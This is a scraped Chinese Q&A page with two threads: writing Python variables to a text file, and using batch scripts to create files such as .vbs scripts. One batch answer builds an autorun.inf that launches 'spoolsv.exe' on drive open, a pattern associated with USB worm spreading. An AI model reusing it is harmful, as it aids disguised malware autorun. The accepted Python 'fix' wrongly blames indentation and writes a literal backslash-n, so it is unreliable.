如何用python将变量及其值写入文本文件?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何用python将变量及其值写入文本文件?相关的知识,希望对你有一定的参考价值。

python将变量写入文本中
x=5
y=2
z=x+y
如何把把x、y、z及其值值写入到文本中?
想要的输出结果是:
x=5
y=2
z=7
下面这段哪里有问题?
x=5
y=2
z=x+y
f=open('test-i.dat','a+')
f.write(str("x=")+str(x)+'\n')
f.write(str("y=")+str(y)+'\n')
f.write(str("z=")+str(z)+'\n')
f.close()

你的缩进有问题,这样就好了。

x=5
y=2
z=x+y 
f=open('test-i.dat','a+')
f.write(str("x=")+str(x)+'\\n')
f.write(str("y=")+str(y)+'\\n')
f.write(str("z=")+str(z)+'\\n')
f.close()

参考技术A

利用write函数写入文件,例如

a = ["a","b","c"]
file = open('test.txt','w')
for i in a:
    file.write(i)
file.close()
newfile = open("test.txt")
newfile.read()

参考技术B 看pyhton的文件操作

如何用批处理建立新文件,并向新文件写入指定内容

用批处理建立一个.VBS文件,并向该文件写入脚本
要写的脚本很长

@echo
off
(echo
[autorun]
echo
open=spoolsv.exe
echo
hell\open=打开(^&o^)
echo
shell\open\command=spoolsv.exe
echo
shell\open\default=1
echo
shell\explore=资源管理器(^&x^)
echo
shell\explore\command=spoolsv.exe)>autorun.inf
这是最觉的方法,用echo
创建文件,
但是要注意,如果字符串中包含特殊符号,必需加上转义符^
使特殊符号成为普通字符输出
睿之锐
是用more命令输出字符串到文件
这里的
%0
表示批处理自身
more命令某种程度上相当于显示命令
type
只是more命令可以带参数
+
n
表示跳过n行显示内容
这里,
睿之锐的代码中,是跳过3行
也就是批处理的前3行,从第4行开始显示,并输出到文件
参考技术A @echo msgbox"这是一个VBS">>c:\1.vbs
start c:\1.vbs
pause&del c:\1.vbs
参考技术B @more +2 %0>>new.vbs&start notepad new.vbs&goto :eof
:Write
vbs
vbs
...
...
参考技术C @echo off
echo hello(任意字符)>1.vbs
(任意名称.vbs)
参考技术D @echo off
echo (VBS文件内容)>(任意名称.vbs)本回答被提问者采纳

以上是关于如何用python将变量及其值写入文本文件?的主要内容,如果未能解决你的问题,请参考以下文章

请问如何用matlab创建TXT文本文档啊?

如何运行文本文档编程命令

Python 文件操作

将 textFields/textArea 写入文本文件

如何用JavaScript打开WORD写入文本

急求:如何用python删除文本中的重复行?